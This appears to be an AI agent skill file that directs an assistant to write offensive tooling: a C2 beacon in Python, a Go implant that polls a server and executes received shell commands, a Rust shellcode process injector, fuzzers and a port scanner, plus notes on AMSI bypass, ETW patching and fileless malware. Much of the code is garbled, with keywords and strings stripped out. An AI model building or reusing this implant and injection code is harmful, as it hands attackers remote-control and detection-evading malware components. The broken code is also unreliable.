coding-mastery

name	coding-mastery
description	Use when writing security tooling, exploits, scanners, or C2 in Python/C/Go/Rust/ASM — systems & network programming, automation, cryptography implementation
metadata	{"type":"utility","phase":"any"}
kill_chain	{"phase":["weaponize"],"step":[2],"attck_tactics":["TA0042"]}
depends_on	[]
feeds_into	["exploit-development","shellcode-dev","edr-evasion"]
inputs	["tool_requirements"]
outputs	["custom_tooling","exploit_code"]

Coding Mastery

When to Activate

• Writing exploit code, PoCs, or security tools
• Developing automation scripts for pentesting workflows
• Implementing network protocols or custom C2
• Building security analysis tools
• Cryptographic implementation or analysis
• Performance-critical systems programming

Languages & Use Cases

Python (Primary — Offensive Tooling)

# Exploit development with pwntools
from pwn import *
context(arch='amd64', os='linux')

# Network programming
import socket, ssl, struct
import asyncio, aiohttp  # async operations

# Web exploitation
import requests, urllib3
from bs4 import BeautifulSoup

# Crypto
from Crypto.Cipher import AES, DES
from Crypto.PublicKey import RSA
import hashlib, hmac

# Binary analysis
import struct, ctypes
from capstone import *  # disassembly
from unicorn import *   # emulation
from keystone import *  # assembly

C/C++ (Systems & Exploit Dev)

// Shellcode development
// Position-independent code, null-free
// Syscall-based (avoid libc dependency)

// Kernel module development
#include <linux/module.h>
#include <linux/kernel.h>

// Windows API abuse
#include <windows.h>
#include <winternl.h>
// Direct syscalls, NTAPI

// Memory manipulation
// Custom allocators, heap spray, ROP gadget finders

Go (Offensive Tooling & C2)

// Implant development (cross-compile, static binary)
// C2 communication (HTTP/DNS/named pipes)
// Network scanning and enumeration
// Proxy/tunnel tools (chisel-like)

// Advantages: single binary, cross-platform, fast, good crypto stdlib

Rust (High-Performance Security Tools)

// Memory-safe exploit tooling
// High-performance scanners
// Custom protocol implementations
// Fuzzing harnesses

PowerShell (Windows Post-Exploitation)

# AMSI bypass, ETW patching
# In-memory execution (reflection)
# AD enumeration and exploitation
# Fileless malware techniques

Assembly (x86/x64/ARM)

; Shellcode
; ROP gadgets
; Anti-debugging
; Kernel exploitation
; Architecture-specific tricks

Design Patterns for Security Tools

Scanner Architecture

import asyncio
from dataclasses import dataclass
from typing import AsyncIterator

@dataclass
class Finding:
    severity: str
    target: str
    vulnerability: str
    evidence: str

class Scanner:
    def __init__(self, targets: list[str], concurrency: int = 50):
        self.targets = targets
        self.semaphore = asyncio.Semaphore(concurrency)
    
    async def scan_target(self, target: str) -> list[Finding]:
        async with self.semaphore:
            # Implement scan logic
            pass
    
    async def run(self) -> AsyncIterator[Finding]:
        tasks = [self.scan_target(t) for t in self.targets]
        for coro in asyncio.as_completed(tasks):
            findings = await coro
            for f in findings:
                yield f

C2 Communication Pattern

import base64, json, time, random
from cryptography.fernet import Fernet

class Beacon:
    def __init__(self, server: str, key: bytes, jitter: float = 0.3):
        self.server = server
        self.cipher = Fernet(key)
        self.jitter = jitter
        self.sleep_time = 60
    
    def encrypt(self, data: bytes) -> str:
        return base64.b64encode(self.cipher.encrypt(data)).decode()
    
    def decrypt(self, data: str) -> bytes:
        return self.cipher.decrypt(base64.b64decode(data))
    
    def sleep(self):
        jitter = random.uniform(1 - self.jitter, 1 + self.jitter)
        time.sleep(self.sleep_time * jitter)
    
    def checkin(self) -> dict:
        # POST encrypted system info, receive tasking
        pass

Network Protocol Implementation

import struct

class ProtocolParser:
    def __init__(self, data: bytes):
        self.data = data
        self.offset = 0
    
    def read_u8(self) -> int:
        val = struct.unpack_from('B', self.data, self.offset)[0]
        self.offset += 1
        return val
    
    def read_u16(self) -> int:
        val = struct.unpack_from('>H', self.data, self.offset)[0]
        self.offset += 2
        return val
    
    def read_u32(self) -> int:
        val = struct.unpack_from('>I', self.data, self.offset)[0]
        self.offset += 4
        return val
    
    def read_bytes(self, n: int) -> bytes:
        val = self.data[self.offset:.offset + n]
        .offset += n
         val
    
     () -> :
        length = .read_u16()
         .read_bytes(length).decode()

Cryptography Patterns

# AES-GCM (authenticated encryption)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os

key = AESGCM.generate_key(bit_length=256)
aes = AESGCM(key)
nonce = os.urandom(12)
ct = aes.encrypt(nonce, plaintext, associated_data)
pt = aes.decrypt(nonce, ct, associated_data)

# RSA key generation and usage
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes

private_key = rsa.generate_private_key(public_exponent=65537, key_size=4096)
public_key = private_key.public_key()

# Encrypt
ct = public_key.encrypt(plaintext, padding.OAEP(
    mgf=padding.MGF1(algorithm=hashes.SHA256()),
    algorithm=hashes.SHA256(), label=None))

# HMAC for integrity
import hmac, hashlib
mac = hmac.new(key, message, hashlib.sha256).digest()

# Key derivation
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=600000)
key = kdf.derive(password)

Advanced: Exploit Development Patterns

Custom Fuzzer Architecture

import os, signal, subprocess, struct, random
from multiprocessing import Pool

class CoverageFuzzer:
    def __init__(self, target_binary, corpus_dir, crashes_dir):
        self.target = target_binary
        self.corpus = self._load_corpus(corpus_dir)
        self.crashes_dir = crashes_dir
        self.coverage = set()
    
    def mutate(self, data: bytes) -> bytes:
        mutations = [
            self._bit_flip,
            self._byte_flip,
            self._insert_interesting,
            self._splice,
            self._havoc,
        ]
        mutator = random.choice(mutations)
        return mutator(data)
    
    def _bit_flip(self, data: bytes) -> bytes:
        d = bytearray(data)
        pos = random.randint(0, len(d) * 8 - 1)
        d[pos // 8] ^= (1 << (pos % 8))
        return bytes(d)
    
    def _insert_interesting(self, data: bytes) -> bytes:
        interesting = [, , , , , , , , ]
        d = (data)
        pos = random.randint(, (d) - )
        val = random.choice(interesting)
        struct.pack_into(, d, pos, val & )
         (d)
    
     () -> :
        
        proc = subprocess.run(
            [.target], =input_data, capture_output=,
            timeout=, env={**os.environ, : }
        )
         proc.returncode < :  
             (proc.returncode, )
         (proc.returncode, )

     ():
         i  (iterations):
            seed = random.choice(.corpus)
            mutated = .mutate(seed)
            code, crashed = .run_target(mutated)
             crashed:
                crash_path = 
                (crash_path, ).write(mutated)

C2 Implant Architecture (Go)

package main

import (
    "bytes"
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "encoding/base64"
    "encoding/json"
    "io"
    "net/http"
    "os/exec"
    "runtime"
    "time"
)

type Beacon struct {
    Server    string
    Key       []byte
    Sleep     time.Duration
    Jitter    float64
    KillDate  time.Time
}

type Task struct {
    ID      string `json:"id"`
    Command string `json:"cmd"`
    Args    string `json:"args"`
}

type Result struct {
    TaskID string `json:"task_id"`
    Output string `json:"output"`
    Error  string `json:"error,omitempty"`
}

func (b *Beacon) Encrypt(data []byte) ([]byte, error) {
    block, _ := aes.NewCipher(b.Key)
    gcm, _ := cipher.NewGCM(block)
    nonce := make([]byte, gcm.NonceSize())
    io.ReadFull(rand.Reader, nonce)
    return gcm.Seal(nonce, nonce, data, nil), nil
}

func (b *Beacon) Decrypt(data []byte) ([], ) {
    block, _ := aes.NewCipher(b.Key)
    gcm, _ := cipher.NewGCM(block)
    nonceSize := gcm.NonceSize()
     gcm.Open(, data[:nonceSize], data[nonceSize:], )
}

 CheckIn() (*Task, ) {
    sysinfo := []{
        : runtime.GOOS, : runtime.GOARCH,
    }
    body, _ := json.Marshal(sysinfo)
    enc, _ := b.Encrypt(body)
    
    resp, err := http.Post(b.Server+,
        ,
        bytes.NewReader(enc))
     err !=  {  , err }
     resp.Body.Close()
    
    respBody, _ := io.ReadAll(resp.Body)
    dec, _ := b.Decrypt(respBody)
     task Task
    json.Unmarshal(dec, &task)
     &task, 
}

 Execute(task *Task) *Result {
     cmd *exec.Cmd
     runtime.GOOS {
     :
        cmd = exec.Command(, , task.Args)
    :
        cmd = exec.Command(, , task.Args)
    }
    output, err := cmd.CombinedOutput()
    result := &Result{TaskID: task.ID, Output: base64.StdEncoding.EncodeToString(output)}
     err !=  { result.Error = err.Error() }
     result
}

Network Protocol Fuzzer

import socket, struct, random, itertools
from dataclasses import dataclass, field

@dataclass
class ProtocolField:
    name: str
    fmt: str  # struct format
    value: int = 0
    fuzzable: bool = True
    
    @property
    def size(self): return struct.calcsize(self.fmt)
    
    def pack(self): return struct.pack(self.fmt, self.value)
    
    def fuzz(self):
        boundaries = [0, 1, self.max_val - 1, self.max_val, self.max_val // 2]
        return random.choice(boundaries + [random.randint(0, self.max_val)])
    
    @property
    def max_val(self): return (1 << (self.size * 8)) - 1

class ProtocolFuzzer:
    def __init__():
        .host, .port = host, port
        .fields = fields
    
     () -> :
        pkt = 
         f  .fields:
             f.name == fuzz_field  f.fuzzable:
                pkt += struct.pack(f.fmt, f.fuzz())
            :
                pkt += f.pack()
         pkt
    
     () -> :
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout()
        s.connect((.host, .port))
        s.send(packet)
        : resp = s.recv()
        : resp = 
        s.close()
         resp
    
     ():
         i  (iterations):
            field = random.choice([f  f  .fields  f.fuzzable])
            pkt = .build_packet(fuzz_field=field.name)
            :
                resp = .send(pkt)
                  resp:
                    ()
             ConnectionRefusedError:
                ()
                (, ).write(pkt)

Windows API Wrapper (Rust — Safe Offensive Tooling)

use std::ptr;
use windows_sys::Win32::System::Memory::*;
use windows_sys::Win32::System::Threading::*;
use windows_sys::Win32::Foundation::*;

pub struct ProcessInjector {
    pid: u32,
    handle: HANDLE,
}

impl ProcessInjector {
    pub fn open(pid: u32) -> Result<Self, u32> {
        let handle = unsafe {
            OpenProcess(PROCESS_ALL_ACCESS, 0, pid)
        };
        if handle == 0 { return Err(unsafe { GetLastError() }); }
        Ok(Self { pid, handle })
    }
    
    pub fn inject(&self, shellcode: &[u8]) -> Result<HANDLE, u32> {
        let base = unsafe {
            VirtualAllocEx(self.handle, ptr::null(), shellcode.len(),
                MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
        };
        if base.is_null() {  ( { () }); }
        
          = ;
         {
            (.handle, base, shellcode.()  _,
                shellcode.(), & written);
            
              = ;
            (.handle, base, shellcode.(),
                PAGE_EXECUTE_READ, & old);
            
              = (.handle, ptr::(),
                , (std::mem::(base)), ptr::(), , ptr::());
            
             thread ==  {  (()); }
            (thread)
        }
    }
}

    {
     (& ) {
         { (.handle); }
    }
}

Async Port Scanner

import asyncio, socket, struct
from typing import AsyncIterator

async def scan_port(host: str, port: int, timeout: float = 1.0) -> int | None:
    try:
        _, writer = await asyncio.wait_for(
            asyncio.open_connection(host, port), timeout=timeout)
        writer.close()
        await writer.wait_closed()
        return port
    except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
        return None

async def scan_host(host: str, ports: range, concurrency: int = 500) -> AsyncIterator[int]:
    sem = asyncio.Semaphore(concurrency)
    async def _scan(port):
        async with sem:
            return await scan_port(host, port)
    
    tasks = [asyncio.create_task(_scan(p)) for p in ports]
    for task in asyncio.as_completed(tasks):
        result = await task
        if result:
            yield result

async def service_detect(host: , port: ) -> :
    
    :
        reader, writer =  asyncio.wait_for(
            asyncio.open_connection(host, port), timeout=)
        
        writer.write()
         writer.drain()
        banner =  asyncio.wait_for(reader.read(), timeout=)
        writer.close()
         banner.decode(errors=).strip()
    :